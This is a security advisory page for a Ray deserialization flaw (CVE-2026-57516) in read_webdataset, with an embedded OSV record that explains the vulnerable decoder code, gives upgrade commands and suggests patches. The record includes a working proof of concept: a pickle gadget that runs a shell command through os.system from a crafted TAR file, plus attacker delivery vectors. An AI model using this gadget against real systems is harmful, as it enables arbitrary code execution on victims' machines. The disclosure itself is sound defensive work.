CVE-2026-57516: Ray Arbitrary Code Execution Vulnerability
HIGHCVE-2026-57516 is a HIGH (CVSS 8.8) arbitrary code execution vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Ray libraries in the PyPI ecosystem. The issue involves arbitrary code execution via ray.data.read_webdataset default decoder: pickle.loads(value) and torch.load(weights_only=false). Remediation is available by upgrading affected packages to version 2.56.0.
CVE-2026-57516 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-57516
To remediate this vulnerability, upgrade all affected Ray dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install ray>=2.56.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show ray
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-57516, inspect your installed packages using pip:
pip show ray
Analyze the terminal output to locate any version of Ray in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.56.0), your application is affected.
Note: The pip show ray command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Ray, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-57516 Affected Ray Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
ray
|
PyPI |
< 2.56.0
|
2.56.0
|
References
Frequently Asked Questions
What is CVE-2026-57516?
Which Ray versions are affected?
What version fixes CVE-2026-57516?
Is ray affected?
What is the CVSS score of CVE-2026-57516?
What CWE is associated with CVE-2026-57516?
How can I check PyPI dependencies for CVE-2026-57516?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-hhrp-gw25-jr43",
"modified" : "2026-07-24T15:47:38Z",
"published" : "2026-07-24T15:47:38Z",
"aliases" : [ "CVE-2026-57516" ],
"summary" : "Ray: Arbitrary code execution via ray.data.read_webdataset default decoder: pickle.loads(value) and torch.load(weights_only=False)",
"details" : "## Summary\n\n`ray.data.read_webdataset(paths=...)` is a `@PublicAPI(stability=\"alpha\")`\nreader for WebDataset-format TAR files. Its default `decoder=True` invokes\n`_default_decoder` on every sample's keys, which routes file extension to a\ndecoder by extension. Two of those branches deserialize attacker-controlled\nbytes with no validation:\n\n- `.pickle` / `.pkl` -> `pickle.loads(value)`\n- `.pt` / `.pth` -> `torch.load(io.BytesIO(value), weights_only=False)`\n\nBoth fire during a standard `ray.data.read_webdataset(...).take_all()` /\n`.iter_batches()` call. No flags, no opt-in, no environment variable.\nAn attacker who can supply a TAR (via S3 share, HuggingFace Hub mirror,\nemail attachment, model-zoo, or any HTTP URL the user passes to\n`read_webdataset`) achieves arbitrary code execution in the calling\nRay process at schema-sample time, before row data is consumed.\n\nThis is the same class of bug as GHSA-mw35-8rx3-xf9r (Parquet Arrow\nExtension Type cloudpickle deserialization, patched in 2.55.0): standard\ndata-loading API, attacker-controlled file format, deserialization gadget\ninvoked transparently. The 2.55.0 patch addressed\n`tensor_extensions/arrow.py:_deserialize_with_fallback` and made cloudpickle\nopt-in via `RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1`. The\nWebDataset path is a different code site and was not touched.\n\n## Vulnerable code (HEAD `a157d4d`)\n\n`python/ray/data/_internal/datasource/webdataset_datasource.py` lines\n175-225, the `_default_decoder` function:\n\n```python\ndef _default_decoder(sample, format=True):\n sample = dict(sample)\n for key, value in sample.items():\n extension = key.split(\".\")[-1]\n ...\n elif extension in [\"pt\", \"pth\"]:\n import torch\n # PyTorch 2.6 changed torch.load default weights_only=True, which\n # breaks loading general Python objects previously serialized for\n # WebDataset .pt payloads.\n sample[key] = torch.load(io.BytesIO(value), weights_only=False) # line 219\n elif extension in [\"pickle\", \"pkl\"]:\n import pickle\n sample[key] = pickle.loads(value) # line 223\n return sample\n```\n\nThe comment for the `.pt/.pth` branch is itself a security smell: it\ndocuments that the maintainer chose `weights_only=False` *to override*\nPyTorch 2.6's safer default. The comment treats this as a compatibility\nfix; it functionally re-enables an arbitrary-code-execution path that\nupstream PyTorch closed.\n\n## Reachability and default-on confirmation\n\n`python/ray/data/read_api.py:2289` defines `read_webdataset` with default\n`decoder=True`:\n\n```python\n@PublicAPI(stability=\"alpha\")\ndef read_webdataset(\n paths,\n *,\n ...\n decoder: Optional[Union[bool, str, callable, list]] = True,\n ...\n) -> Dataset:\n ...\n datasource = WebDatasetDatasource(paths, decoder=decoder, ...)\n```\n\n`WebDatasetDatasource._read_stream` (line 367) calls the decoder\nunconditionally when not None:\n\n```python\nfor sample in samples:\n if self.decoder is not None:\n sample = _apply_list(self.decoder, sample, default=_default_decoder)\n```\n\n`True is not None` evaluates True, so the default decoder fires for every\ninvocation that doesn't explicitly pass `decoder=None` (or a custom safe\ndecoder). The documentation does not warn about the behavior.\n\n## End-to-end reproduction\n\nTested on a fresh venv (`pip install ray[data]`) on Linux x86_64. Ray\nreports `__version__ == \"2.55.1\"` (the patched-against-GHSA-mw35 release):\n\n```python\nimport io, os, pickle, subprocess, tarfile, tempfile, sys\n\nMARKER = \"/tmp/ray_webdataset_poc_rce_marker\"\n\nclass Gadget:\n def __reduce__(self):\n cmd = (f\"/bin/sh -c \\\"printf 'RCE via ray.data.read_webdataset\\\\n\"\n f\"pid=%s\\\\nuser=%s\\\\n' \\\"$$\\\" \\\"$(whoami)\\\" > {MARKER}\\\"\")\n return (os.system, (cmd,))\n\nwith tempfile.NamedTemporaryFile(suffix=\".tar\", delete=False) as f:\n tar_path = f.name\nwith tarfile.open(tar_path, \"w\") as tar:\n for name, body in ((\"000000.txt\", b\"hello\"),\n (\"000000.pkl\", pickle.dumps(Gadget()))):\n ti = tarfile.TarInfo(name=name); ti.size = len(body)\n tar.addfile(ti, io.BytesIO(body))\n\nimport ray, ray.data\nray.init(num_cpus=2, ignore_reinit_error=True, log_to_driver=False)\nds = ray.data.read_webdataset(paths=[tar_path])\nrows = ds.take_all()\nassert os.path.exists(MARKER), \"no RCE\"\nprint(open(MARKER).read())\n```\n\nOutput:\n\n```\nray version: 2.55.1\ncrafted /tmp/tmpjpos115h.tar (10240 bytes)\nds.take_all() returned 1 row(s)\nRCE CONFIRMED:marker at /tmp/ray_webdataset_poc_rce_marker:\n RCE via ray.data.read_webdataset\n pid=248816\n user=xyz\n```\n\nThe `.pt/.pth` variant is the exact same primitive against the\n`torch.load(io.BytesIO(value), weights_only=False)` branch; replace the\nTAR member with `000000.pt` containing `torch.save(Gadget())` to reproduce.\n\n## Real-world delivery vectors\n\n- `paths=[\"s3://bucket/poisoned.tar\"]` -- the user thinks they are reading\n a WebDataset shard; the bucket is shared, mis-permissioned, or\n compromised.\n- `paths=[\"https://attacker/model.tar\"]` -- HTTP-served WebDataset.\n- HuggingFace Hub -- WebDataset is a recognized HF dataset format; users\n pull TAR shards via `datasets` and feed them to Ray Data.\n- Model-zoo / leaderboard tarballs -- common in CV/ASR workflows.\n\n## Why GHSA-mw35 doesn't cover this\n\nGHSA-mw35-8rx3-xf9r patched `tensor_extensions/arrow.py:_deserialize_with_fallback`\nby gating `cloudpickle.loads` behind\n`RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1`. That change touches\nthe Parquet ExtensionType deserialization path only. The advisory text\ndoes not mention WebDataset, the WebDataset code is in a different\nmodule, and the unsafe loads here use `pickle.loads` and\n`torch.load(weights_only=False)` (not `cloudpickle.loads`).\n\n## Suggested patch\n\nTwo minimal options, both Ray-internal:\n\n1. **Make the unsafe extensions opt-in**, mirroring the GHSA-mw35 fix\n pattern. Replace the `.pt/.pth` and `.pkl/.pickle` branches with a\n guard:\n\n ```python\n import os\n _ALLOW_UNSAFE = os.environ.get(\n \"RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE\", \"0\"\n ) == \"1\"\n\n elif extension in [\"pt\", \"pth\"]:\n if not _ALLOW_UNSAFE:\n raise ValueError(\n f\"Refusing to load .pt/.pth member {key!r} from WebDataset \"\n f\"with weights_only=False. Set \"\n f\"RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 only for trusted \"\n f\"sources.\"\n )\n sample[key] = torch.load(io.BytesIO(value), weights_only=False)\n\n elif extension in [\"pickle\", \"pkl\"]:\n if not _ALLOW_UNSAFE:\n raise ValueError(\n f\"Refusing to unpickle WebDataset member {key!r} -- \"\n f\"untrusted pickle is RCE. Provide your own decoder \"\n f\"or set RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 for \"\n f\"trusted sources.\"\n )\n sample[key] = pickle.loads(value)\n ```\n\n2. **Drop these branches from the default decoder entirely** and require\n callers to provide their own decoder when working with .pkl/.pt\n samples. This is the safer default, matches WebDataset upstream's\n guidance (\"by default, use safe decoders\"), and is consistent with\n the spirit of the GHSA-mw35 patch.\n\nEither option flips the default-on RCE primitive into an explicit\nopt-in. The current default-on behavior provides no signal to users\nthat calling `ray.data.read_webdataset` on an untrusted TAR is\nequivalent to running attacker code.\n\n## References\n\n- Source: `python/ray/data/_internal/datasource/webdataset_datasource.py:175-225`\n- Public API: `python/ray/data/read_api.py:2287-2370` (`read_webdataset`)\n- Sibling advisory of the same class: GHSA-mw35-8rx3-xf9r (Parquet\n Arrow Extension Type, patched 2.55.0)\n- Earlier related advisory: PR #45084 (2024) fixed PyExtensionType\n cloudpickle but did not touch the WebDataset decoder.\n- WebDataset format: https://github.com/webdataset/webdataset",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "ray"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.56.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/ray-project/ray/security/advisories/GHSA-hhrp-gw25-jr43"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-57516"
}, {
"type" : "WEB",
"url" : "https://github.com/ray-project/ray/pull/63469"
}, {
"type" : "WEB",
"url" : "https://github.com/ray-project/ray/pull/63470"
}, {
"type" : "WEB",
"url" : "https://github.com/ray-project/ray/commit/41443a18f9e6403a072de69098a279c23e2d943c"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/ray/PYSEC-2026-2273.yaml"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/ray-project/ray"
}, {
"type" : "WEB",
"url" : "https://github.com/ray-project/ray/releases/tag/ray-2.56.0"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/ray-unsafe-deserialization-rce-via-webdataset-reader"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-502", "CWE-94" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-24T15:47:38Z",
"nvd_published_at" : "2026-07-01T17:16:37Z"
}
}